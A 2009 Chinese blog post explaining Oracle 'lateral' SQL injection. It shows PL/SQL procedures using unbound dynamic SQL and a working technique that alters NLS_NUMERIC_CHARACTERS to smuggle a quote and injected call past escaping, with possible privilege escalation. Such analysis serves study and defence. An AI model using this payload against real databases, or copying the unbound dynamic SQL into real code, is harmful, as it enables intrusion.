ORACLE LATERAL-SQL-INJECTION 个人见解
来源:asp之家 发布时间:2009-03-04 10:34:00
标签:ORACLE,LATERAL,SQL-INJECTION,经验
如果直接执行SQL语句或者参数绑定则不用担心太多,
如以下ORACLE存储过程
create or replace procedure kjdatepoc(date d)
as
begin
insert into kjdatetable values(d);
commit;
end;
根本不需要担心遭受到SQL新型注入攻击,那么在什么地方会发生DATE 以及 NUMBER的注入攻击呢!?一般都是采用了动态SQL而又不采用参数绑定的语句。
例如工程师经常用的DBMS_SQL或者EXECUTE IMMEDIATE
看以下存储过程
create or replace procedure kjdatepoc(date d)
as
begin
execute immediate ‘insert into kjdatetable values('|| d ||')';
commit;
end;
那么遇到以上的存储过程或者函数等,也通过修改SESSION中的NLS_DATE_FORMAT中的值达到SQL注射的目的, 老外的PAPER讲解得非常详细了 ,我在这里也不废话。
惟独对于 NUMBER类型的注射没有多作讲解 只是简单演示了可以输出单引号!
看以下语句
ALTER SESSION SET NLS_NUMERIC_CHARACTERS=”'.';
SELECT to_number(1000.10001,'999999D99999′)||” FROM DUAL;
输出一下结果
1000′10001
只是多了一个单引号,那有什么用呢?乐观的来说!在特定情况下是很有价值的!看以下一个存储过程
create or replace procedure NumInjPoc(kjexpnum number,kjexpstr varchar2)
is
SecStr varchar2(1000);
begin
SecStr:=replace(kjexpstr,””,”””);
sys.dbms_output.put_line('SELECT * FROM DUAL WHERE ID='||kjexpnum||' and name=”'||SecStr||””);
end;
内部对varchar类型进行替换了!我们可以进行测试
begin
numinjpoc(1000,”'–');
end;
其输出SQL语句为
SELECT * FROM DUAL WHERE ID=1000 and name=”'–'
单引号被转义掉了
那么如果我们结合这个NUMBER类型怎么进行注射呢?
ALTER SESSION SET NLS_NUMERIC_CHARACTERS=”'.';
begin
numinjpoc(TO_NUMBER(0.10001,'999999D99999′),'||kj.exp()–');
end;
看看输出结果
SELECT * FROM DUAL WHERE ID='10001 and name='||kj.exp()–'
这样就可以间接的攻击它…
在某中程度才来需要ALTER SESSION 配合后,再去攻击系统内部的一些函数或者过程来提升权限。未尝不是一种好的突破思路,但是对于单语句进行SQL注射攻击,以结果为向导的话!这样的方式没多大作为。


猜你喜欢
- 数据挖掘的过程中,数据进行处理是一重要的环节,我们往往会将其封装成一个方法,而有的时候这一个方法可能会被反复调用,每一次都对数据进行处理这将
- 本文实例讲述了django框架使用orm实现批量更新数据的方法。分享给大家供大家参考,具体如下:好久没有用django来改版博客了,突然感觉
- rs.open语句详细说明rs.Open [第一个参数],  
- FSO,正如UFO般令人激动、令人神往,当然更多的亦是让人欢喜让人忧。君不见某空间服务商广告:100MB空间只要60RMB/年,支持数据库,
- pip使用过程中的痛苦,大家相必都已经知道了,目前豆瓣提供了国内的pypi源,源包相对会略有延迟,但不影响基本使用。pip install
- <ScriptRUNAT=SERVERLanguage=VBScript>SubApplication_OnStar
- 本文实例为大家分享了Python+OpenCV实现图像的全景拼接的具体代码,供大家参考,具体内容如下环境:python3.5.2 + ope
- interfaceGo语言里面设计最精妙的应该算interface,它让面向对象,内容组织实现非常的方便,当你看完这一章,你就会被inter
- 1. 判断表单元素是否存在(一) if("periodPerMonth" in document.theForm) {
- 各种asp字符串处理函数,包括:把字符串换为char型数组,把一个数组转换成一个字符串,检查源字符串str是否以chars开头,检查源字符串
- 安装anaconda后查询CPU版本时打开Anaconda Prompt输入python然后输入import tensorflow as t
- 1、注意:pool必须在 if __name__ == '__main__' 下面运行,不然会报错2、多进程内出现错误会直接
- 以前在一个图书类网站看到这样一个功能:客户可以按条件搜索书目的信息,服务器会将符合条件的信息筛选出来保存为一个Excel文件供客户下载。今天
- 功能性的文章直接用几个最简单的实现表达:xlsxwriter库的核心就是其Workbook对象。创建一个指定名字的xlsx文件:import
- 三子棋的python实现代码,供大家参考,具体内容如下一、基本流程三子棋游戏实现逻辑如下:1、创建初始化3*3棋盘;2、玩家执U子,先进行落
- 本文实例为大家分享了vue实现下拉菜单树的具体代码,供大家参考,具体内容如下效果:使用 Vue-Treeselect 实现建议通过npm安装
- 一、KNN概述简单来说,K-近邻算法采用测量不同特征值之间的距离方法进行分类优点:精度高、对异常值不敏感、无数据输入假定缺点:计算复杂度高、
- 本文实例主要是对turtle的使用,实现Python+turtle动态绘制一棵树的实例,具体代码:# drawtree.pyfrom tur
- 主要利用了XMLHTTP的一些方法和属性来获取服务器的信息。 以下是全部源代码: &
- 代码:import tensorflow as tfsess = tf.Session()check_point_path = 'v